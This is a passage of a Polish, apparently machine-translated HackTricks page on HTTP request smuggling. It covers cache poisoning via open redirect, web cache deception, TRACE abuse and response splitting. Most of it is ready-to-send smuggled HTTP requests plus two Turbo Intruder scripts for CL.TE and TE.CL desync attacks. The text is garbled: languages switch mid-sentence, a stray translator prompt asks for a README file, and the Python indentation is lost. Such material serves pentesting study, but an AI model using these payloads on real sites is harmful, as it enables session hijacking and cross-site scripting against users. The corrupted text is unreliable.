Poniżej znajduje się ilustracja wykorzystania cache poisoning w połączeniu z on-site redirect prowadzącym do open redirect. Celem jest zmodyfikowanie zawartości cache dla /static/include.js tak, aby serwowała kod JavaScript kontrolowany przez atakującego:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Zwróć uwagę na osadzony request kierujący do /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).

Po pomyślnym socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.

W następstwie, każde request dla /static/include.js będzie serwować zawartość skryptu atakującego z cache, efektywnie uruchamiając szeroki atak XSS.

Using HTTP request smuggling to perform web cache deception

Jaka jest różnica między web cache poisoning a web cache deception?

  • W przypadku web cache poisoning, atakujący powoduje, że aplikacja zapisuje złośliwą zawartość w cache, a ta zawartość jest serwowana z cache innym użytkownikom aplikacji.
  • W przypadku web cache deception, atakujący powoduje, że aplikacja zapisuje w cache pewną wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odczytuje tę zawartość z cache.

Atakujący tworzy smuggled request, który pobiera wrażliwą, specyficzną dla użytkownika zawartość. Rozważ następujący przykład:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Jeżeli to przemycone żądanie zatruje wpis w cache przeznaczony dla treści statycznej (np. /someimage.png), wrażliwe dane ofiary z /private/messages mogą zostać zbuforowane pod wpisem cache tej statycznej treści. W konsekwencji atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.

Wykorzystywanie TRACE via HTTP Request Smuggling

In this post sugeruje, że jeśli serwer ma włączoną metodę TRACE, możliwe jest jej nadużycie przy pomocy HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedla każdy nagłówek wysłany do serwera w treści odpowiedzi. Na przykład:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Proszę wklej zawartość pliku README.md (src/pentesting-web/http-request-smuggling/README.md). Przetłumaczę tekst na polski, zachowując dokładnie strukturę Markdown/HTML oraz nie tłumacząc kodu, nazw technik, linków, tagów i ścieżek.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Przykładem, jak nadużyć tego zachowania, byłoby najpierw przemycić żądanie HEAD. To żądanie zostanie obsłużone zwróceniem tylko nagłówków odpowiedzi GET (Content-Type wśród nich). I przemycić bezpośrednio po HEAD żądanie TRACE, które będzie odbijające wysłane dana.
Ponieważ odpowiedź HEAD będzie zawierać nagłówek Content-Length, odpowiedź żądania TRACE zostanie potraktowana jako ciało odpowiedzi HEAD, w efekcie odzwierciedlając dowolne dane w odpowiedzi.
Ta odpowiedź zostanie wysłana do następnego żądania na połączeniu, więc to może być użyte na przykład w zbuforowanym pliku JS do wstrzyknięcia dowolnego kodu JS.

Abusing TRACE via HTTP Response Splitting

Warto śledzić this post — sugeruje on inny sposób nadużycia metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE można kontrolować część odzwierciedlanych danych w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo określona w nagłówku Content-Length i jest utworzona przez odpowiedź na żądanie TRACE.

Zatem nowy pomysł polega na tym, że znając wartość Content-Length i dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP za ostatnim bajtem określonym przez Content-Length, co pozwoli atakującemu całkowicie kontrolować żądanie wysyłane dalej (co mogłoby być użyte do przeprowadzenia cache poisoning).

Przykład:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Wygeneruje te odpowiedzi (zwróć uwagę, jak odpowiedź HEAD ma nagłówek Content-Length, przez co odpowiedź TRACE staje się częścią ciała HEAD, a gdy Content-Length w HEAD się kończy, zostaje przemycona prawidłowa odpowiedź HTTP):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Wykorzystanie HTTP Request Smuggling przy użyciu HTTP Response Desynchronisation

Znalazłeś podatność HTTP Request Smuggling i nie wiesz, jak ją exploitować? Wypróbuj te inne metody eksploatacji:

HTTP Response Smuggling / Desync

Other HTTP Request Smuggling Techniques

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder skrypty

CL.TE

Z https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Źródło: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Narzędzia

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks